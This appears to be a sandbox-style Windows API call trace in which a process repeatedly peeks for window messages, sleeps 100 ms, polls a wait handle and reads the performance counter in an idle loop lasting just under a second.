[0140.344] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.344] Sleep (dwMilliseconds=0x64) [0140.359] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743227918) returned 1 [0140.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743228115) returned 1 [0140.360] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.360] Sleep (dwMilliseconds=0x64) [0140.375] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743281631) returned 1 [0140.375] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743281812) returned 1 [0140.375] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.376] Sleep (dwMilliseconds=0x64) [0140.390] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.391] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743335602) returned 1 [0140.391] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743335783) returned 1 [0140.391] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.392] Sleep (dwMilliseconds=0x64) [0140.405] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743386725) returned 1 [0140.406] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743386894) returned 1 [0140.406] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.407] Sleep (dwMilliseconds=0x64) [0140.421] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.421] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743439895) returned 1 [0140.421] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743440064) returned 1 [0140.422] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.422] Sleep (dwMilliseconds=0x64) [0140.437] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743493451) returned 1 [0140.437] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743493627) returned 1 [0140.437] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.438] Sleep (dwMilliseconds=0x64) [0140.452] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.452] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743546535) returned 1 [0140.452] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743546704) returned 1 [0140.453] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.453] Sleep (dwMilliseconds=0x64) [0140.468] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743600025) returned 1 [0140.468] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743600223) returned 1 [0140.468] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.469] Sleep (dwMilliseconds=0x64) [0140.500] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743709137) returned 1 [0140.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743709317) returned 1 [0140.500] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.501] Sleep (dwMilliseconds=0x64) [0140.516] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743765583) returned 1 [0140.516] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743765770) returned 1 [0140.517] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.517] Sleep (dwMilliseconds=0x64) [0140.530] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.530] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743813224) returned 1 [0140.530] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743813405) returned 1 [0140.531] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.531] Sleep (dwMilliseconds=0x64) [0140.546] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743866632) returned 1 [0140.546] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743866829) returned 1 [0140.547] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.547] Sleep (dwMilliseconds=0x64) [0140.561] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743920142) returned 1 [0140.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743920322) returned 1 [0140.562] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.563] Sleep (dwMilliseconds=0x64) [0140.577] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=743973273) returned 1 [0140.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=743973458) returned 1 [0140.578] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.578] Sleep (dwMilliseconds=0x64) [0140.593] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.593] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744026581) returned 1 [0140.593] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744026813) returned 1 [0140.593] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.594] Sleep (dwMilliseconds=0x64) [0140.609] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.609] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744081928) returned 1 [0140.609] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744082108) returned 1 [0140.609] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.610] Sleep (dwMilliseconds=0x64) [0140.643] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744198432) returned 1 [0140.643] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744198629) returned 1 [0140.644] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.645] Sleep (dwMilliseconds=0x64) [0140.655] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744239743) returned 1 [0140.655] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744239930) returned 1 [0140.656] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.656] Sleep (dwMilliseconds=0x64) [0140.671] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.671] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744293049) returned 1 [0140.671] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744293233) returned 1 [0140.671] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.672] Sleep (dwMilliseconds=0x64) [0140.686] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.686] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744346426) returned 1 [0140.686] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744346592) returned 1 [0140.687] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.687] Sleep (dwMilliseconds=0x64) [0140.702] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744400117) returned 1 [0140.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744400286) returned 1 [0140.703] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.703] Sleep (dwMilliseconds=0x64) [0140.718] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744455168) returned 1 [0140.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744455335) returned 1 [0140.719] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.719] Sleep (dwMilliseconds=0x64) [0140.733] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744507565) returned 1 [0140.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744507764) returned 1 [0140.734] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.735] Sleep (dwMilliseconds=0x64) [0140.749] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.750] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744562722) returned 1 [0140.750] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744562920) returned 1 [0140.750] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.751] Sleep (dwMilliseconds=0x64) [0140.764] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744613369) returned 1 [0140.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744613569) returned 1 [0140.765] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.766] Sleep (dwMilliseconds=0x64) [0140.780] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744666536) returned 1 [0140.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744666733) returned 1 [0140.781] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.781] Sleep (dwMilliseconds=0x64) [0140.795] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744719788) returned 1 [0140.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744719987) returned 1 [0140.796] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.797] Sleep (dwMilliseconds=0x64) [0140.811] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.811] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744773033) returned 1 [0140.811] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744773227) returned 1 [0140.812] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.812] Sleep (dwMilliseconds=0x64) [0140.827] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744828674) returned 1 [0140.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744828854) returned 1 [0140.828] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.829] Sleep (dwMilliseconds=0x64) [0140.842] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744879562) returned 1 [0140.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744879748) returned 1 [0140.843] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.843] Sleep (dwMilliseconds=0x64) [0140.859] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744936079) returned 1 [0140.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744936247) returned 1 [0140.859] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.860] Sleep (dwMilliseconds=0x64) [0140.873] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.874] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=744986422) returned 1 [0140.874] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=744986620) returned 1 [0140.874] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.875] Sleep (dwMilliseconds=0x64) [0140.889] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.889] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745039949) returned 1 [0140.889] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745040126) returned 1 [0140.890] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.890] Sleep (dwMilliseconds=0x64) [0140.905] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.905] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745092935) returned 1 [0140.905] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745093134) returned 1 [0140.905] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.906] Sleep (dwMilliseconds=0x64) [0140.922] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745153070) returned 1 [0140.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745153266) returned 1 [0140.923] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.923] Sleep (dwMilliseconds=0x64) [0140.936] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.937] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745201793) returned 1 [0140.937] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745201991) returned 1 [0140.937] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.938] Sleep (dwMilliseconds=0x64) [0140.952] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.952] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745253531) returned 1 [0140.952] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745253714) returned 1 [0140.952] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.953] Sleep (dwMilliseconds=0x64) [0140.967] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.967] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745306290) returned 1 [0140.967] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745306525) returned 1 [0140.968] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.968] Sleep (dwMilliseconds=0x64) [0140.983] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.983] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745359559) returned 1 [0140.983] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745359749) returned 1 [0140.983] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.984] Sleep (dwMilliseconds=0x64) [0140.998] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0140.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745412705) returned 1 [0140.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745412881) returned 1 [0140.999] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0140.999] Sleep (dwMilliseconds=0x64) [0141.014] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.014] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745466888) returned 1 [0141.014] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745467056) returned 1 [0141.015] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.015] Sleep (dwMilliseconds=0x64) [0141.030] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745520018) returned 1 [0141.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745520176) returned 1 [0141.030] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.031] Sleep (dwMilliseconds=0x64) [0141.046] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.046] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745574487) returned 1 [0141.046] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745574647) returned 1 [0141.046] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.047] Sleep (dwMilliseconds=0x64) [0141.061] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.061] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745627717) returned 1 [0141.061] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745627873) returned 1 [0141.062] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.062] Sleep (dwMilliseconds=0x64) [0141.077] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.077] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745680443) returned 1 [0141.077] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745680600) returned 1 [0141.077] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.078] Sleep (dwMilliseconds=0x64) [0141.092] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745732796) returned 1 [0141.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745732955) returned 1 [0141.092] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.093] Sleep (dwMilliseconds=0x64) [0141.107] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.108] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745786172) returned 1 [0141.108] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745786366) returned 1 [0141.108] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.109] Sleep (dwMilliseconds=0x64) [0141.123] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.123] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745840140) returned 1 [0141.123] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745840331) returned 1 [0141.124] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.124] Sleep (dwMilliseconds=0x64) [0141.139] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745892910) returned 1 [0141.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745893091) returned 1 [0141.139] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.140] Sleep (dwMilliseconds=0x64) [0141.155] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=745947994) returned 1 [0141.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=745948162) returned 1 